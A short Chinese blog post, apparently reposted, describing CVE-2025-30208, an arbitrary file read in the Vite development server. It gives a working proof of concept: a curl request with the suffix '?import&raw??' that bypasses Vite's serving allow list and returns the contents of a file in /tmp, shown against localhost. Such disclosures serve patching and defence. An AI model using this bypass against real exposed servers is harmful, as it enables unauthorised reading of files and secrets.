正文

vite 任意文件读取漏洞 CVE-2025-30208

admin V管理员 /2025年 /0 评论 /31 阅读

0327

此篇文章发布距今已超过3天，您需要注意文章的内容或图片是否可用！

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url "/tmp/secret.txt" is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??"
export default "top secret contentn"
//# sourceMappingURL=data:application/json;base64,eyJ2...